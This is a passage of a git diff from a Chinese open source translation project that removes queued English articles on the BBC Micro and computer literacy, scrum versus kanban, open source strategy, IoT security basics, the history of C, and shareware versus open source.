code, how to look at a screen’s worth of Python and not have your eyes glaze over. I can understand why to the average person this seems like the main hurdle to becoming a professional programmer. Professional programmers spend all day looking at computer monitors covered in gobbledygook, so, if I want to become a professional programmer, I better make sure I can decipher the gobbledygook. But dealing with syntax is not the most challenging part of being a programmer, and it quickly becomes almost irrelevant in the face of much bigger obstacles. Also, armed only with knowledge of a programming language’s syntax, you may be able to _read_ code but you won’t be able to _write_ code to solve a novel problem. + +I recently went through Codecademy’s “Code Foundations” course, which is the course that the site recommends you take if you are interested in programming (as opposed to web development or data science) and have never done any programming before. There are a few lessons in there about the history of computer science, but they are perfunctory and poorly researched. (Thank heavens for [this noble internet vigilante][12], who pointed out a particularly egregious error.) The main focus of the course is teaching you about the common structural elements of programming languages: variables, functions, control flow, loops. In other words, the course focuses on what you would need to know to start seeing patterns in the gobbledygook. + +To be fair to Codecademy, they offer other courses that look meatier. But even courses such as their “Computer Science Path” course focus almost exclusively on programming and concepts that can be represented in programs. One might argue that this is the whole point—Codecademy’s main feature is that it gives you little interactive programming lessons with automated feedback. There also just isn’t enough room to cover more because there is only so much you can stuff into somebody’s brain in a little automated lesson. But the producers at the BBC tasked with kicking off the _Computer Literacy Project_ also had this problem; they recognized that they were limited by their medium and that “the amount of learning that would take place as a result of the television programmes themselves would be limited.”[8][13] With similar constraints on the volume of information they could convey, they chose to emphasize general principles over learning BASIC. Couldn’t Codecademy replace a lesson or two with an interactive visualization of a Jacquard loom weaving together warp and weft threads? + +I’m banging the drum for “general principles” loudly now, so let me just explain what I think they are and why they are important. There’s a book by J. Clark Scott about computers called _But How Do It Know?_ The title comes from the anecdote that opens the book. A salesman is explaining to a group of people that a thermos can keep hot food hot and cold food cold. A member of the audience, astounded by this new invention, asks, “But how do it know?” The joke of course is that the thermos is not perceiving the temperature of the food and then making a decision—the thermos is just constructed so that cold food inevitably stays cold and hot food inevitably stays hot. People anthropomorphize computers in the same way, believing that computers are digital brains that somehow “choose” to do one thing or another based on the code they are fed. But learning a few things about how computers work, even at a rudimentary level, takes the homunculus out of the machine. That’s why the Jacquard loom is such a good go-to illustration. It may at first seem like an incredible device. It reads punch cards and somehow “knows” to weave the right pattern! The reality is mundane: Each row of holes corresponds to a thread, and where there is a hole in that row the corresponding thread gets lifted. Understanding this may not help you do anything new with computers, but it will give you the confidence that you are not dealing with something magical. We should impart this sense of confidence to beginners as soon as we can. + +Alas, it’s possible that the real problem is that nobody wants to learn about the Jacquard loom. Judging by how Codecademy emphasizes the professional applications of what it teaches, many people probably start using Codecademy because they believe it will help them “level up” their careers. They believe, not unreasonably, that the primary challenge will be understanding the gobbledygook, so they want to “learn to code.” And they want to do it as quickly as possible, in the hour or two they have each night between dinner and collapsing into bed. Codecademy, which after all is a business, gives these people what they are looking for—not some roundabout explanation involving a machine invented in the 18th century. + +The _Computer Literacy Project_, on the other hand, is what a bunch of producers and civil servants at the BBC thought would be the best way to educate the nation about computing. I admit that it is a bit elitist to suggest we should laud this group of people for teaching the masses what they were incapable of seeking out on their own. But I can’t help but think they got it right. Lots of people first learned about computing using a BBC Micro, and many of these people went on to become successful software developers or game designers. [As I’ve written before][14], I suspect learning about computing at a time when computers were relatively simple was a huge advantage. But perhaps another advantage these people had is shows like _The Computer Programme_, which strove to teach not just programming but also how and why computers can run programs at all. After watching _The Computer Programme_, you may not understand all the gobbledygook on a computer screen, but you don’t really need to because you know that, whatever the “code” looks like, the computer is always doing the same basic thing. After a course or two on Codecademy, you understand some flavors of gobbledygook, but to you a computer is just a magical machine that somehow turns gobbledygook into running software. That isn’t computer literacy. + +_If you enjoyed this post, more like it come out every four weeks! Follow [@TwoBitHistory][15] on Twitter or subscribe to the [RSS feed][16] to make sure you know when a new post is out._ + +_Previously on TwoBitHistory…_ + +> FINALLY some new damn content, amirite? +> +> Wanted to write an article about how Simula bought us object-oriented programming. It did that, but early Simula also flirted with a different vision for how OOP would work. Wrote about that instead! +> +> — TwoBitHistory (@TwoBitHistory) [February 1, 2019][17] + + 1. Robert Albury and David Allen, Microelectronics, report (1979). [↩︎][18] + + 2. Gregg Williams, “Microcomputing, British Style”, Byte Magazine, 40, January 1983, accessed on March 31, 2019, . [↩︎][19] + + 3. John Radcliffe, “Toward Computer Literacy,” Computer Literacy Project Achive, 42, accessed March 31, 2019, [https://computer-literacy-project.pilots.bbcconnectedstudio.co.uk/media/Towards Computer Literacy.pdf][20]. [↩︎][21] + + 4. David Allen, “About the Computer Literacy Project,” Computer Literacy Project Archive, accessed March 31, 2019, . [↩︎][22] + + 5. ibid. [↩︎][23] + + 6. Williams, 51. [↩︎][24] + + 7. Radcliffe, 11. [↩︎][25] + + 8. Radcliffe, 5. [↩︎][26] + + + + +-------------------------------------------------------------------------------- + +via: https://twobithistory.org/2019/03/31/bbc-micro.html + +作者:[Two-Bit History][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://twobithistory.org +[b]: https://github.com/lujun9972 +[1]: tmp.zNBs2lK4Ca#fn:1 +[2]: tmp.zNBs2lK4Ca#fn:2 +[3]: tmp.zNBs2lK4Ca#fn:3 +[4]: https://computer-literacy-project.pilots.bbcconnectedstudio.co.uk/ +[5]: https://twobithistory.org/2018/07/22/dawn-of-the-microcomputer.html +[6]: tmp.zNBs2lK4Ca#fn:4 +[7]: tmp.zNBs2lK4Ca#fn:5 +[8]: tmp.zNBs2lK4Ca#fn:6 +[9]: https://twobithistory.org/images/beeb.jpg +[10]: https://twitter.com/TwoBitHistory/status/1112372000742404098 +[11]: tmp.zNBs2lK4Ca#fn:7 +[12]: https://twitter.com/TwoBitHistory/status/1111305774939234304 +[13]: tmp.zNBs2lK4Ca#fn:8 +[14]: https://twobithistory.org/2018/09/02/learning-basic.html +[15]: https://twitter.com/TwoBitHistory +[16]: https://twobithistory.org/feed.xml +[17]: https://twitter.com/TwoBitHistory/status/1091148050221944832?ref_src=twsrc%5Etfw +[18]: tmp.zNBs2lK4Ca#fnref:1 +[19]: tmp.zNBs2lK4Ca#fnref:2 +[20]: https://computer-literacy-project.pilots.bbcconnectedstudio.co.uk/media/Towards%20Computer%20Literacy.pdf +[21]: tmp.zNBs2lK4Ca#fnref:3 +[22]: tmp.zNBs2lK4Ca#fnref:4 +[23]: tmp.zNBs2lK4Ca#fnref:5 +[24]: tmp.zNBs2lK4Ca#fnref:6 +[25]: tmp.zNBs2lK4Ca#fnref:7 +[26]: tmp.zNBs2lK4Ca#fnref:8 diff --git a/sources/talk/20190808 Scrum vs. kanban- Which agile methodology is better.md b/sources/talk/20190808 Scrum vs. kanban- Which agile methodology is better.md deleted file mode 100644 index 8b2b38ef3c..0000000000 --- a/sources/talk/20190808 Scrum vs. kanban- Which agile methodology is better.md +++ /dev/null @@ -1,95 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Scrum vs. kanban: Which agile methodology is better?) -[#]: via: (https://opensource.com/article/19/8/scrum-vs-kanban) -[#]: author: (Taz Brown https://opensource.com/users/heronthecli) - -Scrum vs. kanban: Which agile methodology is better? -====== -Learn the differences between scrum and kanban and which may be best for -your team. -![Team checklist and to dos][1] - -Because scrum and kanban both fall under the agile methodology umbrella, many people confuse them or think they're the same thing. There are differences, however. For one, scrum is more specific to software development teams, while kanban is used by many kinds of teams and focuses on providing a visual representation of an agile team's workflow. Some argue that kanban is about getting things done, and scrum is about talking about getting things done. - -### A history lesson - -Before we get too deep into scrum and kanban, let's talk a little history. Before scrum, kanban, and agile, there was the waterfall model. It was popular in the '80s and '90s, especially in civil and mechanical engineering where changes were rare and design often stayed the same. It was adopted for software development, but it didn't translate well into that arena, with results rarely as anyone expected or desired. - -In 2001, the [Agile Manifesto][2] emerged as an alternative to overcome the problems with waterfall. The Manifesto outlined agile principles and beliefs including shorter lead times, open communication, lighter processes, continuous training, and adaptation to change. These principles took on a life of their own when it came to software development practices and teams. In cases of irregularities, bugs, or dissatisfied customers, agile enabled development teams to make changes quickly, and software was released faster with much higher quality. - -### What is agile? - -An agile framework (or just agile) is an umbrella term for several iterative and incremental software development approaches such as kanban and scrum. Kanban and scrum are also considered to be agile frameworks on their own. As [Mendix explains][3]: - -> "While each agile methodology type has its own unique qualities, they all incorporate elements of iterative development and continuous feedback when creating an application. Any agile development project involves continuous planning, continuous testing, continuous integration, and other forms of continuous development of both the project and the application resulting from the agile framework." - -### What is kanban? - -[Kanban][4] is the Japanese word for "visual signal." It is also an agile framework or work management system and is considered to be a powerful project management tool. - -A kanban board (such as [Wekan][5], an open source kanban application) is a visual method for managing the creation of products through a series of fixed steps. It emphasizes continuous flow and is designed as a list of stages displayed in columns on a board. There is a waiting or backlog stage at the start of the kanban board, and there may be some progress stages, such as testing, development, completed, or abandoned. - -![Wekan kanban board][6] - -Each task or part of a project is represented on a card, and the cards are moved across this board as they progress across the stages. A card's current stage must be completed before it can be moved to the next stage. - -Other features of kanban include color-coding (to identify different stages or types of tasks visually) and Work in Progress ([WIP][7]) limits (to restrict the maximum number of work items allowed in the different stages of the workflow). - -Wekan is [similar to Trello][8] (a proprietary kanban application). It's one of [a variety][9] of digital kanban tools. Teams can also use the traditional kanban approach: a wall, a board, or a large piece of paper with different colored sticky notes for various tasks. Whatever method you use, the idea is to apply agile effectively, efficiently, and continuously. - -Overall, kanban and Wekan offer a simple, graphical way of monitoring progress, sharing responsibility, and mitigating bottlenecks. It is a team effort to ensure that the final product is created with high quality and to the customers' satisfaction. - -### What is scrum? - -[Scrum][10] typically involves daily standups and sprints with sprint planning, sprint reviews, and retrospectives. It establishes specific release days and where cards can move across the board. There are daily scrums and two- to four-week sprints (putting code into production) with the goal to create a shippable product after every sprint. - -![team_meeting_at_board.png][11] - -Daily stand-up meetings allow team members to share progress. (Photo credit: Andrea Truong) - -  - -Scrum teams are usually comprised of a scrum master, a product owner, and the development team. All must operate in synchronicity to produce high-quality software products in a fast, efficient, cost-effective way that pleases the customer. - -### Which is better: scrum or kanban? - -With all that as background, the important question we are left with is: Which agile methodology is superior, kanban, or scrum? Well, it depends. It is certainly not a straightforward or easy choice, and neither method is inherently superior. The type of team and the project's scope or requirements influence which is likely to be the better choice. - -Software development teams typically use scrum because it has been found to be highly useful in the software lifecycle process. - -Kanban can be used by all kinds of teams—IT, marketing, HR, transformation, manufacturing, healthcare, finance, etc. Its core values are continuous workflow, continuous feedback, continuous change, and stir vigorously until you achieve the desired quality and consistency or create a shippable product. The team works from the backlog until all tasks are completed. Usually, members will pick tasks based on their specialized knowledge or area of expertise, but the team must be careful not to reduce its effectiveness with too much specialization. - -### Conclusion - -There is a place for both scrum and kanban agile frameworks, and their utility is determined by the makeup of the team, the product or service to be delivered, the requirements or scope of the project, and the organizational culture. There will be trial and error, especially for new teams. - -Scrum and kanban are both iterative work systems that rely on process flows and aim to reduce waste. No matter which framework your team chooses, you will be a winner. Both methodologies are valuable now and likely will be for some time to come. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/8/scrum-vs-kanban - -作者:[Taz Brown][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/heronthecli -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/todo_checklist_team_metrics_report.png?itok=oB5uQbzf (Team checklist and to dos) -[2]: https://www.scrumalliance.org/resources/agile-manifesto -[3]: https://www.mendix.com/agile-framework/ -[4]: https://en.wikipedia.org/wiki/Kanban -[5]: https://wekan.github.io/ -[6]: https://opensource.com/sites/default/files/uploads/wekan-board.png (Wekan kanban board) -[7]: https://www.atlassian.com/agile/kanban/wip-limits -[8]: https://opensource.com/article/19/1/productivity-tool-wekan -[9]: https://opensource.com/alternatives/trello -[10]: https://en.wikipedia.org/wiki/Scrum_(software_development) -[11]: https://opensource.com/sites/default/files/uploads/team_meeting_at_board.png (team_meeting_at_board.png) diff --git a/sources/talk/20190831 Why support open source- Strategies from around the world.md b/sources/talk/20190831 Why support open source- Strategies from around the world.md deleted file mode 100644 index 9b142b5c9c..0000000000 --- a/sources/talk/20190831 Why support open source- Strategies from around the world.md +++ /dev/null @@ -1,57 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Why support open source? Strategies from around the world) -[#]: via: (https://opensource.com/article/19/8/open-source-large-series) -[#]: author: (Karl Fogel https://opensource.com/users/kfogelhttps://opensource.com/users/jamesvasile) - -Why support open source? Strategies from around the world -====== -A new series on open source strategy digs into using open source -investments to support the overall mission. -![World locations with red dots with a sun burst background][1] - -There are many excellent resources available to teach you how to run an open source project—how to set up the collaboration tools, how to get the community engaged, etc. But there is much less out there about open source _strategy_; that is, about how to use well-considered open source investments to support an overall mission. - -Thus, while "How can we integrate new contributors?" is a project management concern, the strategic question it grows from has wider implications: "What are the long-term returns we expect from engaging with others, who are those others, and how do we structure our investments to achieve those returns?" - -As we work with different clients, we've been gradually publishing reports that approach open source strategy from various directions. Two examples are our work with Mozilla on [open source archetypes][2] and with the World Bank on its [investment strategy for the GeoNode project][3]. - -Now we have a chance to have this discussion in a more regular and complete way: Microsoft has asked us to do a series of blog posts about open source, and the request was essentially _"help organizations get better at open source"_ (not a direct quote, but a reasonable summary). They were very clear about the series being independent; they did not want editorial control and specifically did not want to be involved in any pre-approval before we publish a post. It goes without saying, but we'll say it anyway, just so there's no doubt, that the views we express in the series may or may not be shared by Microsoft. - -We're calling the series [Open Source At Large][4], and it focuses on open source strategy. The first three posts in the series are already up: - - * [What is open source strategy?][5] - * [Open source goal setting][6] - * [Ecosystem mapping][7] - - - -Our clients will recognize some of the material—our advice tends to be consistent over time—but the series will also cover ideas we have not discussed widely before. - -Strategy is not just for executives and managers, by the way. We can most effectively support strategies we understand, and every person on a team can use strategic awareness to improve performance. Our target audience is the managers and organization leaders who make decisions about open source investments and also developers who can benefit from a strategic viewpoint. - -We hope that offering techniques for strategic analysis will be useful for newcomers to open source, and we also look forward to engaging colleagues in a wide-ranging discussion about best practices and considered approaches to strategy. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/8/open-source-large-series - -作者:[Karl Fogel][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/kfogelhttps://opensource.com/users/jamesvasile -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/world_remote_teams.png?itok=Wk1yBFv6 (World locations with red dots with a sun burst background) -[2]: https://blog.opentechstrategies.com/2018/05/field-guide-to-open-source-project-archetypes/ -[3]: https://blog.opentechstrategies.com/2017/06/geonode-report/ -[4]: https://blog.opentechstrategies.com/category/open-source-at-large/ -[5]: https://blog.opentechstrategies.com/2019/05/what-is-open-source-strategy/ -[6]: https://blog.opentechstrategies.com/2019/05/open-source-goal-setting/ -[7]: https://blog.opentechstrategies.com/2019/06/ecosystem-mapping/ diff --git a/sources/talk/20190903 IoT security essentials- Physical, network, software.md b/sources/talk/20190903 IoT security essentials- Physical, network, software.md deleted file mode 100644 index 8264591faf..0000000000 --- a/sources/talk/20190903 IoT security essentials- Physical, network, software.md +++ /dev/null @@ -1,64 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (IoT security essentials: Physical, network, software) -[#]: via: (https://www.networkworld.com/article/3435108/iot-security-essentials-physical-network-software.html) -[#]: author: (Jon Gold https://www.networkworld.com/author/Jon-Gold/) - -IoT security essentials: Physical, network, software -====== -Internet of things devices present unique security problems due to being spread out, exposed to physical attacks and often lacking processor power. -Thinkstock - -Even in the planning stages of a deployment, IoT security is one of the chief stumbling blocks to successful adoption of the technology. - -And while the problem is vastly complicated, there are three key angles to think about when laying out how IoT sensors will be deployed in any given setup: How secure are the device themselves, how many are there and can they receive security patches. - -### Physical access - -Physical access is an important but, generally, straightforward consideration for traditional IT security. Data centers can be carefully secured, and routers and switches are often located in places where they’re either difficult to fiddle with discreetly or difficult to access in the first place. - -Where IoT is concerned, however, best security practices aren’t as fleshed out. Some types of IoT implementation could be relatively simple to secure – a bad actor could find it comparatively difficult to tinker with a piece of complex diagnostic equipment in a well-secured hospital, or a big piece of sophisticated robotic manufacturing equipment on an access-controlled factory floor. Compromises can happen, certainly, but a bad actor trying to get into a secure area is still a well-understood security threat. - -By contrast, smart city equipment scattered across a metropolis – traffic cameras, smart parking meters, noise sensors and the like – is readily accessible by the general public, to say nothing of anybody able to look convincing in a hard hat and hazard vest. The same issue applies to soil sensors in rural areas and any other technology deployed to a sufficiently remote location. - -The solutions to this problem vary. Cases and enclosures could deter some attackers, but they might not be practical in some instances. The same goes for video surveillance of the devices, which could become a target itself. The IoT Security Foundation recommends disabling all ports on a device that aren’t strictly necessary for it perform its function, implementing tamper-proofing on circuit boards, and even embedding those circuits entirely in resin. - -### Discovery and networking - -Securing the connections between IoT sensors and the backend is arguably the toughest part to solve, in part because an alarming number of organizations aren’t even aware of all the devices on their network at any given time. Hence, device discovery remains a critically important part of network security for IoT. - -**[ [Prepare to become a Certified Information Security Systems Professional with this comprehensive online course from PluralSight. Now offering a 10-day free trial!][1] ]** - -The main reason for this lack of visibility is that the nature of IoT as an operational technology, rather than one that’s solely administered by IT staff, means that line-of-business personnel will sometimes connect helpful devices to the network without telling the people in charge of keeping the network secure. For network **operations** people, used to having a clear sense of the entire network’s topology, this can be an unaccustomed headache. - -Beyond IT personnel working closely with the operational side of the business to ensure all devices connected to the network are properly provisioned and monitored, network scanners can discover connected devices on a network automatically, whether that’s via network traffic analysis, device profiles, whitelists or other techniques. - -### Software patching - -Many IoT sensors don’t have a lot of built-in computing capability, so some of those devices aren’t able to run a security-software agent nor accept updates and patches remotely. - -That is a huge worry, because there are software vulnerabilities being discovered every day that target the IoT. An inability to patch those holes when they’re discovered is a serious problem. - -Moreover, certain devices simply won’t be able to be properly secured and made patchable. The only solution might be to find a different product that accomplishes the functional task yet has better security. - -Join the Network World communities on [Facebook][2] and [LinkedIn][3] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3435108/iot-security-essentials-physical-network-software.html - -作者:[Jon Gold][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Jon-Gold/ -[b]: https://github.com/lujun9972 -[1]: https://pluralsight.pxf.io/c/321564/424552/7490?u=https%3A%2F%2Fwww.pluralsight.com%2Fpaths%2Fcertified-information-systems-security-professional-cisspr -[2]: https://www.facebook.com/NetworkWorld/ -[3]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20191001 The monumental impact of C.md b/sources/talk/20191001 The monumental impact of C.md deleted file mode 100644 index 7ab59a6574..0000000000 --- a/sources/talk/20191001 The monumental impact of C.md +++ /dev/null @@ -1,143 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (The monumental impact of C) -[#]: via: (https://opensource.com/article/19/10/command-line-heroes-c) -[#]: author: (Matthew Broberg https://opensource.com/users/mbbroberg) - -The monumental impact of C -====== -The season finale of Command Line Heroes offers a lesson in how a small -community of open source enthusiasts can change the world. -![In the finale of Command Line Heroes, we learn about the significant impact of C][1] - -C is the original general-purpose programming language. The Season 3 finale of the [Command Line Heroes][2] podcast explores C's origin story in a way that showcases the longevity and power of its design. It's a perfect synthesis of all the languages discussed throughout the podcast's third season and this [series of articles][3]. - -![The original C programming guide by two of the language authors, circa 1978][4] - -C is such a fundamental language that many of us forget how much it has changed. Technically a "high-level language," in the sense that it requires a compiler to be runnable, it's as close to assembly language as people like to get these days (outside of specialized, low-memory environments). It's also considered to be the language that made nearly all languages that came after it possible. - -### The path to C began with failure - -While the myth persists that all great inventions come from highly competitive garage dwellers, C's story is more fit for the Renaissance period. - -In the 1960s, Bell Labs in suburban New Jersey was one of the most innovative places of its time. Jon Gertner, author of [_The idea factory_][5], describes the culture of the time marked by optimism and the excitement to solve tough problems. Instead of monetization pressures with tight timelines, Bell Labs offered seemingly endless funding for wild ideas. It had a research and development ethos that aligns well with today's [open leadership principles][6]. The results were significant and prove that brilliance can come without the promise of VC funding or an IPO. - -The challenge back then was terminal sharing: finding a way for lots of people to access the (very limited number of) available computers. Before there was a scalable answer for that, and long before we had [a shell like Bash][7], there was the Multics project. It was a hypothetical operating system where hundreds or even thousands of developers could share time on the same system. This was a dream of John McCarty, creator of Lisp and the term artificial intelligence (AI), as I [recently explored][8]. - -Joy Lisi Ranken, author of [_A people's history of computing in the United States_][9], describes what happened next. There was a lot of public interest in driving forward with Multics' vision of more universally available timesharing. Academics, scientists, educators, and some in the broader public were looking forward to this computer-powered future. Many advocated for computing as a public utility, akin to electricity, and the push toward timesharing was a global movement. - -Up to that point, high-end mainframes topped out at 40-50 terminals per system. The change of scale was ambitious and eventually failed, as Warren Toomey writes in [IEEE Spectrum][10]: - -> "Over five years, AT&T invested millions in the Multics project, purchasing a GE-645 mainframe computer and dedicating to the effort many of the top researchers at the company's renowned Bell Telephone Laboratories—including Thompson and Ritchie, Joseph F. Ossanna, Stuart Feldman, M. Douglas McIlroy, and the late Robert Morris. But the new system was too ambitious, and it fell troublingly behind schedule. In the end, AT&T's corporate leaders decided to pull the plug." - -Bell Labs pulled out of the Multics program in 1969. Multics wasn't going to happen. - -### The fellowship of the C - -Funding wrapped up, and the powerful GE645 mainframe was assigned to other tasks inside Bell Labs. But that didn't discourage everyone. - -Among the last holdouts from the Multics project were four men who felt passionately tied to the project: Ken Thompson, Dennis Ritchie, Doug McIlroy, and J.F. Ossanna. These four diehards continued to muse and scribble ideas on paper. Thompson and Ritchie developed a game called Space Travel for the PDP-7 minicomputer. While they were working on that, Thompson started implementing all those crazy hand-written ideas about filesystems they'd developed among the wreckage of Multics. - -![A PDP-7 minicomputer][11] - -A PDP-7 minicomputer was not top of line technology at the time, but the team implemented foundational technologies that change the future of programming languages and operating systems alike. - -That's worth emphasizing: Some of the original filesystem specifications were written by hand and then programmed on what was effectively a toy compared to the systems they were using to build Multics. [Wikipedia's Ken Thompson page][12] dives deeper into what came next: - -> "While writing Multics, Thompson created the Bon programming language. He also created a video game called [Space Travel][13]. Later, Bell Labs withdrew from the MULTICS project. In order to go on playing the game, Thompson found an old [PDP-7][14] machine and rewrote Space Travel on it. Eventually, the tools developed by Thompson became the [Unix][15] [operating system][16]: Working on a PDP-7, a team of Bell Labs researchers led by Thompson and Ritchie, and including Rudd Canaday, developed a [hierarchical file system][17], the concepts of [computer processes][18] and [device files][19], a [command-line interpreter][20], [pipes][21] for easy inter-process communication, and some small utility programs. In 1970, [Brian Kernighan][22] suggested the name 'Unix,' in a pun on the name 'Multics.' After initial work on Unix, Thompson decided that Unix needed a system programming language and created [B][23], a precursor to Ritchie's [C][24]." - -As Walter Toomey documented in the IEEE Spectrum article mentioned above, Unix showed promise in a way the Multics project never materialized. After winning over the team and doing a lot more programming, the pathway to Unix was paved. - -### Getting from B to C in Unix - -Thompson quickly created a Unix language he called B. B inherited much from its predecessor BCPL, but it wasn't enough of a breakaway from older languages. B didn't know data types, for starters. It's considered a typeless language, which meant its "Hello World" program looked like this: - - -``` -main( ) { -extrn a, b, c; -putchar(a); putchar(b); putchar(c); putchar('!*n'); -} - -a 'hell'; -b 'o, w'; -c 'orld'; -``` - -Even if you're not a programmer, it's clear that carving up strings four characters at a time would be limiting. It's also worth noting that this text is considered the original "Hello World" from Brian Kernighan's 1972 book, [_A tutorial introduction to the language B_][25] (although that claim is not definitive). - -[![A diagram showing the key Unix and Unix-like operating systems][26]][27] - -Typelessness aside, B's assembly-language counterparts were still yielding programs faster than was possible using the B compiler's threaded-code technique. So, from 1971 to 1973, Ritchie modified B. He added a "character type" and built a new compiler so that it didn't have to use threaded code anymore. After two years of work, B had become C. - -### The right abstraction at the right time - -C's use of types and ease of compiling down to efficient assembly code made it the perfect language for the rise of minicomputers, which speak in bytecode. B was eventually overtaken by C. Once C became the language of Unix, it became the de facto standard across the budding computer industry. Unix was _the_ sharing platform of the pre-internet days. The more people wrote C, the better it got, and the more it was adopted. It eventually became an open standard itself. According to the [Brief history of C programming language][28]: - -> "For many years, the de facto standard for C was the version supplied with the Unix operating system. In the summer of 1983 a committee was established to create an ANSI (American National Standards Institute) standard that would define the C language. The standardization process took six years (much longer than anyone reasonably expected)." - -How influential is C today? A [quick review][29] reveals: - - * Parts of all major operating systems are written in C, including macOS, Windows, Linux, and Android. - * The world's most prolific databases, including DB2, MySQL, MS SQL, and PostgreSQL, are written in C. - * Many programming-language specifics begun in C, including Python, Go, Perl's core interpreter, and the R statistical language. - - - -Decades after they started as scrappy outsiders, Thompson and Ritchie are praised as titans of the programming world. They shared 1983's Turing Award, and in 1998, received the [National Medal of Science][30] for their work on the C language and Unix.  - -![Ritchie and Thompson receiving the National Medal of Technology from President Clinton, 1998][31] - -But Doug McIlroy and J.F. Ossanna deserve their share of praise, too. All four of them are true Command Line Heroes. - -### Wrapping up the season - -[Command Line Heroes][2] has completed an entire season of insights into the programming languages that affect how we code today. It's been a joy to learn about these languages and share them with you. I hope you've enjoyed it as well! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/10/command-line-heroes-c - -作者:[Matthew Broberg][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mbbroberg -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/commnad_line_hereos_ep8_header_opensourcedotcom.png?itok=d7MJQHFJ (In the finale of Command Line Heroes, we learn about the significant impact of C) -[2]: https://www.redhat.com/en/command-line-heroes -[3]: https://opensource.com/tags/command-line-heroes-podcast -[4]: https://opensource.com/sites/default/files/uploads/2482009942_6caea217e0_c.jpg (The original C programming guide by two of the language authors, circa 1978) -[5]: https://en.wikipedia.org/wiki/The_Idea_Factory -[6]: https://opensource.com/open-organization/18/12/what-is-open-leadership -[7]: https://opensource.com/19/9/command-line-heroes-bash -[8]: https://opensource.com/article/19/9/command-line-heroes-lisp -[9]: https://www.hup.harvard.edu/catalog.php?isbn=9780674970977 -[10]: https://spectrum.ieee.org/tech-history/cyberspace/the-strange-birth-and-long-life-of-unix -[11]: https://opensource.com/sites/default/files/uploads/800px-pdp7-oslo-2005.jpeg (A PDP-7 minicomputer) -[12]: https://en.wikipedia.org/wiki/Ken_Thompson -[13]: https://en.wikipedia.org/wiki/Space_Travel_(video_game) -[14]: https://en.wikipedia.org/wiki/PDP-7 -[15]: https://en.wikipedia.org/wiki/Unix -[16]: https://en.wikipedia.org/wiki/Operating_system -[17]: https://en.wikipedia.org/wiki/File_system#Aspects_of_file_systems -[18]: https://en.wikipedia.org/wiki/Process_(computing) -[19]: https://en.wikipedia.org/wiki/Device_file -[20]: https://en.wikipedia.org/wiki/Command-line_interface#Command-line_interpreter -[21]: https://en.wikipedia.org/wiki/Pipeline_(Unix) -[22]: https://en.wikipedia.org/wiki/Brian_Kernighan -[23]: https://en.wikipedia.org/wiki/B_(programming_language) -[24]: https://en.wikipedia.org/wiki/C_(programming_language) -[25]: https://www.bell-labs.com/usr/dmr/www/btut.pdf -[26]: https://opensource.com/sites/default/files/uploads/640px-unix_history-simple.svg_.png (A diagram showing the key Unix and Unix-like operating systems) -[27]: https://commons.wikimedia.org/w/index.php?curid=1801948 -[28]: http://cs-fundamentals.com/c-programming/history-of-c-programming-language.php -[29]: https://www.toptal.com/c/after-all-these-years-the-world-is-still-powered-by-c-programming -[30]: https://www.nsf.gov/od/nms/medal.jsp -[31]: https://opensource.com/sites/default/files/uploads/medal.jpeg (Ritchie and Thompson receiving the National Medal of Technology from President Clinton, 1998) diff --git a/sources/talk/20191003 Sharing vs. free vs. public- The real definition of open source.md b/sources/talk/20191003 Sharing vs. free vs. public- The real definition of open source.md deleted file mode 100644 index 31b4851639..0000000000 --- a/sources/talk/20191003 Sharing vs. free vs. public- The real definition of open source.md +++ /dev/null @@ -1,85 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Sharing vs. free vs. public: The real definition of open source) -[#]: via: (https://opensource.com/article/19/10/shareware-vs-open-source) -[#]: author: (Jeffrey Robert Kaufman https://opensource.com/users/jkaufman) - -Sharing vs. free vs. public: The real definition of open source -====== -If you think open source is synonymous with shareware, freeware, and -public domain, you are not alone. -![Person in a field of dandelions][1] - -When you hear the term open source, do you think this is synonymous with terms such as shareware, freeware, or public domain? If so, you are not alone. Many people, both within and without the technology industry, think of these terms as one and the same. This article illustrates how these terms are different and how open source is a transformative licensing and development model. Perhaps the best way to explore the differences will be to share my experience with software provided under one of the above models. - -### Shareware 